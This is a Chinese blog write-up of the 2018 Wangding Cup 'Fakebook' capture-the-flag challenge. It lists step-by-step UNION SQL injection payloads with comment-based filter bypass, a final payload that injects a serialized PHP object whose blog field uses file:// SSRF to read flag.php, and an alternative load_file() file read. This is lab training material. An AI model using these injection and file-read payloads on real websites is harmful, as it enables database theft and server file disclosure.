[网鼎杯 2018]Fakebook1 参考

博主:[网鼎杯 2018]Fakebook 1_bazzza的博客-CSDN博客

进入靶场,是一个登录界面,先注册一个账号看看,注册的时候,发现对blog有过滤,注册完登录进去发现界面是这样的,
在这里插入图片描述
可以看到页面下方访问了我们注册的blog,内联表单的值是用(data:text/html;base64,)将数据直接嵌入到页面中的,可以大胆的推测他可以进行ssrf,但是blog在注册时是经过过滤的,只能是固定的格式,看起来是难以利用的。
寻找其它突破点,我尝试修改url中的no值,发现可以注入,而且是最基本的注入

注入

  1. ?no=1 order by 4#
  2. ?no=2 union/**/select 1,2,3,4# 这个地方它会把union select过滤掉,加/ ** /可以绕过,在字段2的地方有回显
  3. ?no=2 union/**/select 1,database(),3,4#
  4. ?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()# 表名users
  5. ?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name=‘users’# 字段名:no,username,passwd,data
  6. ?no=2 union/**/select 1,group_concat(no,’-’,username,’-’,passwd,’-’,data),3,4 from users# 最后得到的data数据时一串反序列化的数据
    在这里插入图片描述
    上面也有提示,使用unserialize()进行了反序列化,而且右边也爆出了它的路径。有经验的师傅已经可以拿到答案了。但我不行,我要绕路。
    然后,我看别人的wp,对目录扫描后可直接扫描出来robots.txt和flag.php,我自己也扫了一下,发现确实有,看来还是经验不足,以后拿到网站还是要先放进去扫描一下。
    在这里插入图片描述
    打开robots.txt,里面有个user.php.bak,访问一下,拿到源码,里面是一个userinfo的类,分析一下
    这是对blog进行过滤的正则
    在这里插入图片描述
    可以看到过滤的十分严格,直接限制死了只能是http(s): //格式,所以在注册的的是侯操作是不太可能的。
    再看另一部分
    这个地方是直接吧blog当作参数传给get()函数,url没有经过任何限制,是存在ssrf的。
    好的,这个地方可以使用file:///var/www/html/flag.php读取flag.php,结合我们上面的反序列化,我们试着构造我们的序列化代码。
    在这里插入图片描述
    最终poc,选择4号字段是试出来的
?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
  • 1

再查看网页源代码,可以发现内联表单里面有嵌入base64的加密信息,进行解密
在这里插入图片描述
拿到flag
我看别人的题解,这个题再比赛的时候还有一个非预期解(现在的环境试修复好的)
mysql中的load_file函数没有禁用,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。
load_file函数只要满足两个条件就可以使用:
1、文件权限:chmod a+x pathtofile
2、文件大小: 必须小于max_allowed_packet
前面我们知道文件的绝对路径了,现在看下当前用户的权限,
?no=2 union/**/select 1,user(),3,4#
在这里插入图片描述
是最高的root权限,是可以直接使用load_file函数来读取flag.php的
?no=2 union/ ** /select 1,load_file("/var/www/html/flag.php"),3,4#

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值